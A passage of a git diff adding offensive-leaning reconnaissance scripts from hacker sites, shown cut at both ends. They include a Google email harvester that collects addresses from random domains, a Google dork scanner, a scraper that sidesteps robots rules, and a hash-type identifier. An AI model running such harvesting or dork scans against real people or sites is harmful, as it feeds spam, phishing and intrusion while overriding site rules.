+        request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        opener = urllib2.build_opener()                           
+        text = opener.open(request).read()
+        emails = (re.findall('([\w\.\-]+@'+domain_name+')',StripTags(text)))
+        for email in emails:
+            d[email]=1
+            uniq_emails=d.keys()
+        page_counter +=10
+except IOError:
+    print "Can't connect to Google Groups!"+""
+    
+page_counter_web=0
+try:
+
+    while page_counter_web < 50 :
+        results_web = 'http://www.google.com/search?q=%40'+str(domain_name)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter_web) + '&sa=N'
+        request_web = urllib2.Request(results_web)
+        request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+        opener_web = urllib2.build_opener()                           
+        text = opener_web.open(request_web).read()
+        emails_web = (re.findall('([\w\.\-]+@'+domain_name+')',StripTags(text)))
+        for email_web in emails_web:
+            d[email_web]=1
+            uniq_emails_web=d.keys()
+        page_counter_web +=10
+        
+except IOError:
+    print "Can't connect to Google Web!"+""
+for uniq_emails_web in d.keys():
+    user = uniq_emails_web.rsplit('@',1)[0]
+    print user
diff --git a/3rdparty/googemail.py b/3rdparty/googemail.py
new file mode 100644
index 0000000..c6d3404
--- /dev/null
+++ b/3rdparty/googemail.py
@@ -0,0 +1,105 @@
+#!/usr/bin/python
+#GoogEmail v1.0 strictly uses google to retrieve email
+#addresses. Flow: rand_ip > hostname > google
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+
+import socket, random, time, sys, urllib2, re, sets
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com GoogEmail v1.0"
+	print "\t---------------------------------------------"
+
+def usage():
+	title()
+	print "\n\tUsage: python googemail.py <how many addresses> <file to save>"
+	print "\tExample: ./googemail.py 10000 emails.txt\n"
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def StripTags(text):
+    finished = 0
+    while not finished:
+        finished = 1
+        start = text.find("<")
+        if start >= 0:
+            stop = text[start:].find(">")
+            if stop >= 0:
+                text = text[:start] + text[start+stop+1:]
+                finished = 0
+    return text
+
+def getgoog(domain):
+	counter = 0
+
+	try:
+		while counter < 50:
+			results = 'http://groups.google.com/groups?q='+str(domain)+'&hl=en&lr=&ie=UTF-8&start='+repr(counter)+ '&sa=N'
+			request = urllib2.Request(results)
+			request.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+			opener = urllib2.build_opener()  
+			text = opener.open(request).read()
+			emails = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
+			for email in emails:
+				addrs.append(email)
+			counter += 10
+		page_counter = 0
+		while page_counter < 50 :
+			results_web = 'http://www.google.com/search?q=%40'+str(domain)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter) + '&sa=N'
+			request_web = urllib2.Request(results_web)
+			request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
+			opener_web = urllib2.build_opener()  
+			text = opener_web.open(request_web).read()
+			emails_web = (re.findall('([\w\.\-]+@'+domain+')',StripTags(text)))
+			for email_web in emails_web:
+				addrs.append(email_web)
+			page_counter += 10
+	except(IndexError, urllib2.HTTPError):
+		pass
+
+def randip():
+	
+	A = random.randrange(255) + 1
+	B = random.randrange(255) + 1
+	C = random.randrange(255) + 1
+	D = random.randrange(255) + 1
+	randip = "%d.%d.%d.%d" % (A,B,C,D)
+	return randip
+
+def gethost(): 
+	try:
+		hostname = socket.gethostbyaddr(randip())[0]
+		return hostname
+	except(socket.herror):
+		pass
+
+if len(sys.argv) != 3:
+	usage()
+	sys.exit(1)
+
+title()
+print "\n[+] Length:",sys.argv[1]
+print "[+] File:",sys.argv[2]
+print "[+] Starting Scan -",timer(),"\n"
+addrs = []
+file = open(sys.argv[2], "a")
+while int(len(addrs)) < int(sys.argv[1]):
+	domain = gethost()
+	if domain:
+		domain = domain.split(".",domain.count(".")-1)[-1]
+		print "[+] Found:",domain
+		getgoog(domain)
+		addrs = list(sets.Set(addrs))
+		print "[+] Total:",len(addrs)
+print "\n[!] Found:",len(addrs),"addresses\n"
+print "[+] Writing Data:",sys.argv[2],"\n"
+time.sleep(3)
+for addr in addrs:
+	print "[",addr.replace("...",""),"]"
+	file.writelines(addr.replace("...","")+"\n")
+file.close()
+print "\n[+] Done",timer(),"\n"
diff --git a/3rdparty/googledork.py b/3rdparty/googledork.py
new file mode 100644
index 0000000..848378c
--- /dev/null
+++ b/3rdparty/googledork.py
@@ -0,0 +1,92 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import urllib2,json
+from urllib import quote_plus,unquote_plus
+from gtk import *
+from sys import exit
+
+class GUI:
+
+	def destroy(self, widget, data=None):
+		exit()
+
+
+	def __init__(self):
+		self.window = Window(WINDOW_TOPLEVEL)
+		self.window.set_position(WIN_POS_CENTER)
+		self.window.set_size_request(400, 250)
+		self.window.set_title("Google Dork Scan V0.1")
+		self.window.set_resizable(False)
+		color = gdk.color_parse('#000000')
+		self.window.modify_bg(STATE_NORMAL, color)
+
+		fix = Fixed()
+
+		self.lb1 = Label("<span color='green'>Search:</span>")
+		self.lb2 = Label("<span color='green'>Autor: MMxM</span>")
+		self.lb3 = Label("<a href=''><span color='green'>Clear</span></a>")
+
+		self.lb3.connect("activate-link", self.clear)
+
+		self.lb1.set_use_markup(True)	
+		self.lb2.set_use_markup(True)
+		self.lb3.set_use_markup(True)
+
+		self.bt1 = Button("Start")
+		self.bt1.connect("clicked",self.busca)
+
+		self.edit1 = Entry()
+		self.edit1.set_size_request(250, 25)
+
+		self.view = TextView(buffer = None)
+		self.view.set_size_request(360, 150)
+		sw = ScrolledWindow()
+		sw.set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC)
+		sw.add(self.view)
+
+		self.view.set_editable(False)
+		self.view.set_cursor_visible(False)
+
+		fix.put(self.lb1, 10, 22)
+		fix.put(self.lb2, 10, 215)
+		fix.put(self.lb3, 340, 215)
+		fix.put(self.bt1, 340, 17)
+		fix.put(self.edit1, 68, 17)
+		fix.put(sw, 15, 55)
+	
+		self.window.add(fix)
+		self.window.show_all()
+		self.window.connect("destroy",self.destroy)
+
+	def busca(self,widget):
+		if self.edit1.get_text() == '': return
+
+		try:
+			search = quote_plus(self.edit1.get_text())
+			n = 0
+			while True:
+				url = 'http://ajax.googleapis.com/ajax/services/search/web?v=2.0&q=%s&start=%s' %(search,n)
+				req = urllib2.Request(url)
+				response = urllib2.urlopen(req).read()
+				data = json.loads(response)
+				for extract in (data['responseData']['results']):
+					self.view.get_buffer().insert_at_cursor('%s\n'%unquote_plus(extract['url']))
+					while events_pending():
+						main_iteration()
+
+				n += 4
+		except:
+			self.view.get_buffer().insert_at_cursor('\n100% Complete !!!\n')
+
+	def clear(self, a, b):
+		self.view.get_buffer().set_text('')
+		return True
+
+	def main(self):
+		main()
+
+
+if __name__ == "__main__":
+	start = GUI()
+	start.main()
diff --git "a/3rdparty/googlelinkc\314\247ek.py" "b/3rdparty/googlelinkc\314\247ek.py"
new file mode 100644
index 0000000..04a6f3a
--- /dev/null
+++ "b/3rdparty/googlelinkc\314\247ek.py"
@@ -0,0 +1,29 @@
+import urllib
+import re
+import sys
+import mechanize
+from urlparse import urlparse
+ 
+def search(q,result,page):
+ 
+        br = mechanize.Browser()
+        br.set_handle_robots(False) # bypass google check
+        br.addheaders= [('User-agent','firefox')]
+        query = q.replace(" ","+")
+        google = "http://www.google.com/search?num="+result+"&q="+query+"&start="+page
+        htmltext = br.open(google).read()
+        pattern = re.compile("<h3 class=\"r\"><a href=\"/url\?q=(.*?)&amp.*?\">.*?</a></h3>") # grep url
+        found = re.findall(pattern,htmltext)
+       
+        for i in found:
+                url = urlparse(i).netloc
+                #url = urllib.unquote(i).decode('utf8')
+                print url
+       
+query = sys.argv[1]
+result = sys.argv[2]
+ 
+page = ['0','100','200','300','400','500','600','700','800','900'] # 900 is maximum
+ 
+for i in page:
+        search(query,result,i)
diff --git a/3rdparty/hash-identifier.py b/3rdparty/hash-identifier.py
new file mode 100644
index 0000000..f259e8e
--- /dev/null
+++ b/3rdparty/hash-identifier.py
@@ -0,0 +1,577 @@
+#!/usr/bin/env python
+# encoding: utf-8
+# Hash Identifier v1.1
+# By Zion3R
+# www.Blackploit.com
+# Root@Blackploit.com
+
+logo='''   #########################################################################
+   #     __  __                     __           ______    _____           #
+   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
+   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
+   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
+   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
+   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
+   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
+   #                                                             By Zion3R #
+   #                                                    www.Blackploit.com #
+   #                                                   Root@Blackploit.com #
+   #########################################################################'''
+
+algorithms={"102020":"ADLER-32", "102040":"CRC-32", "102060":"CRC-32B", "101020":"CRC-16", "101040":"CRC-16-CCITT", "104020":"DES(Unix)", "101060":"FCS-16", "103040":"GHash-32-3", "103020":"GHash-32-5", "115060":"GOST R 34.11-94", "109100":"Haval-160", "109200":"Haval-160(HMAC)", "110040":"Haval-192", "110080":"Haval-192(HMAC)", "114040":"Haval-224", "114080":"Haval-224(HMAC)", "115040":"Haval-256", "115140":"Haval-256(HMAC)", "107080":"Lineage II C4", "106025":"Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))", "102080":"XOR-32", "105060":"MD5(Half)", "105040":"MD5(Middle)", "105020":"MySQL", "107040":"MD5(phpBB3)", "107060":"MD5(Unix)", "107020":"MD5(Wordpress)", "108020":"MD5(APR)", "106160":"Haval-128", "106165":"Haval-128(HMAC)", "106060":"MD2", "106120":"MD2(HMAC)", "106040":"MD4", "106100":"MD4(HMAC)", "106020":"MD5", "106080":"MD5(HMAC)", "106140":"MD5(HMAC(Wordpress))", "106029":"NTLM", "106027":"RAdmin v2.x", "106180":"RipeMD-128", "106185":"RipeMD-128(HMAC)", "106200":"SNEFRU-128", "106205":"SNEFRU-128(HMAC)", "106220":"Tiger-128", "106225":"Tiger-128(HMAC)", "106240":"md5($pass.$salt)", "106260":"md5($salt.'-'.md5($pass))", "106280":"md5($salt.$pass)", "106300":"md5($salt.$pass.$salt)", "106320":"md5($salt.$pass.$username)", "106340":"md5($salt.md5($pass))", "106360":"md5($salt.md5($pass).$salt)", "106380":"md5($salt.md5($pass.$salt))", "106400":"md5($salt.md5($salt.$pass))", "106420":"md5($salt.md5(md5($pass).$salt))", "106440":"md5($username.0.$pass)", "106460":"md5($username.LF.$pass)", "106480":"md5($username.md5($pass).$salt)", "106500":"md5(md5($pass))", "106520":"md5(md5($pass).$salt)", "106540":"md5(md5($pass).md5($salt))", "106560":"md5(md5($salt).$pass)", "106580":"md5(md5($salt).md5($pass))", "106600":"md5(md5($username.$pass).$salt)", "106620":"md5(md5(md5($pass)))", "106640":"md5(md5(md5(md5($pass))))", "106660":"md5(md5(md5(md5(md5($pass)))))", "106680":"md5(sha1($pass))", "106700":"md5(sha1(md5($pass)))", "106720":"md5(sha1(md5(sha1($pass))))", "106740":"md5(strtoupper(md5($pass)))", "109040":"MySQL5 - SHA-1(SHA-1($pass))", "109060":"MySQL 160bit - SHA-1(SHA-1($pass))", "109180":"RipeMD-160(HMAC)", "109120":"RipeMD-160", "109020":"SHA-1", "109140":"SHA-1(HMAC)", "109220":"SHA-1(MaNGOS)", "109240":"SHA-1(MaNGOS2)", "109080":"Tiger-160", "109160":"Tiger-160(HMAC)", "109260":"sha1($pass.$salt)", "109280":"sha1($salt.$pass)", "109300":"sha1($salt.md5($pass))", "109320":"sha1($salt.md5($pass).$salt)", "109340":"sha1($salt.sha1($pass))", "109360":"sha1($salt.sha1($salt.sha1($pass)))", "109380":"sha1($username.$pass)", "109400":"sha1($username.$pass.$salt)", "1094202":"sha1(md5($pass))", "109440":"sha1(md5($pass).$salt)", "109460":"sha1(md5(sha1($pass)))", "109480":"sha1(sha1($pass))", "109500":"sha1(sha1($pass).$salt)", "109520":"sha1(sha1($pass).substr($pass,0,3))", "109540":"sha1(sha1($salt.$pass))", "109560":"sha1(sha1(sha1($pass)))", "109580":"sha1(strtolower($username).$pass)", "110020":"Tiger-192", "110060":"Tiger-192(HMAC)", "112020":"md5($pass.$salt) - Joomla", "113020":"SHA-1(Django)", "114020":"SHA-224", "114060":"SHA-224(HMAC)", "115080":"RipeMD-256", "115160":"RipeMD-256(HMAC)", "115100":"SNEFRU-256", "115180":"SNEFRU-256(HMAC)", "115200":"SHA-256(md5($pass))", "115220":"SHA-256(sha1($pass))", "115020":"SHA-256", "115120":"SHA-256(HMAC)", "116020":"md5($pass.$salt) - Joomla", "116040":"SAM - (LM_hash:NT_hash)", "117020":"SHA-256(Django)", "118020":"RipeMD-320", "118040":"RipeMD-320(HMAC)", "119020":"SHA-384", "119040":"SHA-384(HMAC)", "120020":"SHA-256", "121020":"SHA-384(Django)", "122020":"SHA-512", "122060":"SHA-512(HMAC)", "122040":"Whirlpool", "122080":"Whirlpool(HMAC)"}
+
+# hash.islower()  minusculas
+# hash.isdigit()  numerico
+# hash.isalpha()  letras
+# hash.isalnum()  alfanumerico
+
+def CRC16():
+    hs='4607'
+    if len(hash)==len(hs) and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("101020")
+def CRC16CCITT():
+    hs='3d08'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("101040")
+def FCS16():
+    hs='0e5b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("101060")
+
+def CRC32():
+    hs='b33fd057'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("102040")
+def ADLER32():
+    hs='0607cb42'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("102020")
+def CRC32B():
+    hs='b764a0d9'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("102060")
+def XOR32():
+    hs='0000003f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("102080")
+
+def GHash323():
+    hs='80000000'
+    if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("103040")
+def GHash325():
+    hs='85318985'
+    if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("103020")
+
+def DESUnix():
+    hs='ZiY8YtDKXJwYQ'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False:
+        jerar.append("104020")
+
+def MD5Half():
+    hs='ae11fd697ec92c7c'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("105060")
+def MD5Middle():
+    hs='7ec92c7c98de3fac'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("105040")
+def MySQL():
+    hs='63cea4673fd25f46'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("105020")
+
+def DomainCachedCredentials():
+    hs='f42005ec1afe77967cbc83dce1b4d714'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106025")
+def Haval128():
+    hs='d6e3ec49aa0f138a619f27609022df10'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106160")
+def Haval128HMAC():
+    hs='3ce8b0ffd75bc240fc7d967729cd6637'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106165")
+def MD2():
+    hs='08bbef4754d98806c373f2cd7d9a43c4'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106060")
+def MD2HMAC():
+    hs='4b61b72ead2b0eb0fa3b8a56556a6dca'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106120")
+def MD4():
+    hs='a2acde400e61410e79dacbdfc3413151'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106040")
+def MD4HMAC():
+    hs='6be20b66f2211fe937294c1c95d1cd4f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106100")
+def MD5():
+    hs='ae11fd697ec92c7c98de3fac23aba525'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106020")
+def MD5HMAC():
+    hs='d57e43d2c7e397bf788f66541d6fdef9'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106080")
+def MD5HMACWordpress():
+    hs='3f47886719268dfa83468630948228f6'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106140")
+def NTLM():
+    hs='cc348bace876ea440a28ddaeb9fd3550'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106029")
+def RAdminv2x():
+    hs='baea31c728cbf0cd548476aa687add4b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106027")
+def RipeMD128():
+    hs='4985351cd74aff0abc5a75a0c8a54115'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106180")
+def RipeMD128HMAC():
+    hs='ae1995b931cf4cbcf1ac6fbf1a83d1d3'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106185")
+def SNEFRU128():
+    hs='4fb58702b617ac4f7ca87ec77b93da8a'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106200")
+def SNEFRU128HMAC():
+    hs='59b2b9dcc7a9a7d089cecf1b83520350'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106205")
+def Tiger128():
+    hs='c086184486ec6388ff81ec9f23528727'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106220")
+def Tiger128HMAC():
+    hs='c87032009e7c4b2ea27eb6f99723454b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106225")
+def md5passsalt():
+    hs='5634cc3b922578434d6e9342ff5913f7'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106240")
+def md5saltmd5pass():
+    hs='245c5763b95ba42d4b02d44bbcd916f1'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106260")
+def md5saltpass():
+    hs='22cc5ce1a1ef747cd3fa06106c148dfa'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106280")
+def md5saltpasssalt():
+    hs='469e9cdcaff745460595a7a386c4db0c'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106300")
+def md5saltpassusername():
+    hs='9ae20f88189f6e3a62711608ddb6f5fd'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106320")
+def md5saltmd5pass():
+    hs='aca2a052962b2564027ee62933d2382f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106340")
+def md5saltmd5passsalt():
+    hs='de0237dc03a8efdf6552fbe7788b2fdd'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106360")
+def md5saltmd5passsalt():
+    hs='5b8b12ca69d3e7b2a3e2308e7bef3e6f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106380")
+def md5saltmd5saltpass():
+    hs='d8f3b3f004d387086aae24326b575b23'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106400")
+def md5saltmd5md5passsalt():
+    hs='81f181454e23319779b03d74d062b1a2'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106420")
+def md5username0pass():
+    hs='e44a60f8f2106492ae16581c91edb3ba'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106440")
+def md5usernameLFpass():
+    hs='654741780db415732eaee12b1b909119'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106460")
+def md5usernamemd5passsalt():
+    hs='954ac5505fd1843bbb97d1b2cda0b98f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106480")
+def md5md5pass():
+    hs='a96103d267d024583d5565436e52dfb3'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106500")
+def md5md5passsalt():
+    hs='5848c73c2482d3c2c7b6af134ed8dd89'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106520")
+def md5md5passmd5salt():
+    hs='8dc71ef37197b2edba02d48c30217b32'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106540")
+def md5md5saltpass():
+    hs='9032fabd905e273b9ceb1e124631bd67'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106560")
+def md5md5saltmd5pass():
+    hs='8966f37dbb4aca377a71a9d3d09cd1ac'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106580")
+def md5md5usernamepasssalt():
+    hs='4319a3befce729b34c3105dbc29d0c40'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106600")
+def md5md5md5pass():
+    hs='ea086739755920e732d0f4d8c1b6ad8d'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106620")
+def md5md5md5md5pass():
+    hs='02528c1f2ed8ac7d83fe76f3cf1c133f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106640")
+def md5md5md5md5md5pass():
+    hs='4548d2c062933dff53928fd4ae427fc0'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106660")
+def md5sha1pass():
+    hs='cb4ebaaedfd536d965c452d9569a6b1e'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106680")
+def md5sha1md5pass():
+    hs='099b8a59795e07c334a696a10c0ebce0'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106700")
+def md5sha1md5sha1pass():
+    hs='06e4af76833da7cc138d90602ef80070'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106720")
+def md5strtouppermd5pass():
+    hs='519de146f1a658ab5e5e2aa9b7d2eec8'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("106740")
+
+def LineageIIC4():
+    hs='0x49a57f66bd3d5ba6abda5579c264a0e4'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True and hash[0:2].find('0x')==0:
+        jerar.append("107080")
+def MD5phpBB3():
+    hs='$H$9kyOtE8CDqMJ44yfn9PFz2E.L2oVzL1'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$H$')==0:
+        jerar.append("107040")
+def MD5Unix():
+    hs='$1$cTuJH0Ju$1J8rI.mJReeMvpKUZbSlY/'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$1$')==0:
+        jerar.append("107060")
+def MD5Wordpress():
+    hs='$P$BiTOhOj3ukMgCci2juN0HRbCdDRqeh.'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$P$')==0:
+        jerar.append("107020")
+
+def MD5APR():
+    hs='$apr1$qAUKoKlG$3LuCncByN76eLxZAh/Ldr1'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash[0:4].find('$apr')==0:
+        jerar.append("108020")
+
+def Haval160():
+    hs='a106e921284dd69dad06192a4411ec32fce83dbb'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109100")
+def Haval160HMAC():
+    hs='29206f83edc1d6c3f680ff11276ec20642881243'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109200")
+def MySQL5():
+    hs='9bb2fb57063821c762cc009f7584ddae9da431ff'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109040")
+def MySQL160bit():
+    hs='*2470c0c06dee42fd1618bb99005adca2ec9d1e19'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:1].find('*')==0:
+        jerar.append("109060")
+def RipeMD160():
+    hs='dc65552812c66997ea7320ddfb51f5625d74721b'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109120")
+def RipeMD160HMAC():
+    hs='ca28af47653b4f21e96c1235984cb50229331359'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109180")
+def SHA1():
+    hs='4a1d4dbc1e193ec3ab2e9213876ceb8f4db72333'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109020")
+def SHA1HMAC():
+    hs='6f5daac3fee96ba1382a09b1ba326ca73dccf9e7'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109140")
+def SHA1MaNGOS():
+    hs='a2c0cdb6d1ebd1b9f85c6e25e0f8732e88f02f96'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109220")
+def SHA1MaNGOS2():
+    hs='644a29679136e09d0bd99dfd9e8c5be84108b5fd'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109240")
+def Tiger160():
+    hs='c086184486ec6388ff81ec9f235287270429b225'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109080")
+def Tiger160HMAC():
+    hs='6603161719da5e56e1866e4f61f79496334e6a10'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109160")
+def sha1passsalt():
+    hs='f006a1863663c21c541c8d600355abfeeaadb5e4'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109260")
+def sha1saltpass():
+    hs='299c3d65a0dcab1fc38421783d64d0ecf4113448'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109280")
+def sha1saltmd5pass():
+    hs='860465ede0625deebb4fbbedcb0db9dc65faec30'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109300")
+def sha1saltmd5passsalt():
+    hs='6716d047c98c25a9c2cc54ee6134c73e6315a0ff'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109320")
+def sha1saltsha1pass():
+    hs='58714327f9407097c64032a2fd5bff3a260cb85f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109340")
+def sha1saltsha1saltsha1pass():
+    hs='cc600a2903130c945aa178396910135cc7f93c63'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+        jerar.append("109360")
+def sha1usernamepass():
+    hs='3de3d8093bf04b8eb5f595bc2da3f37358522c9f'
+    if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
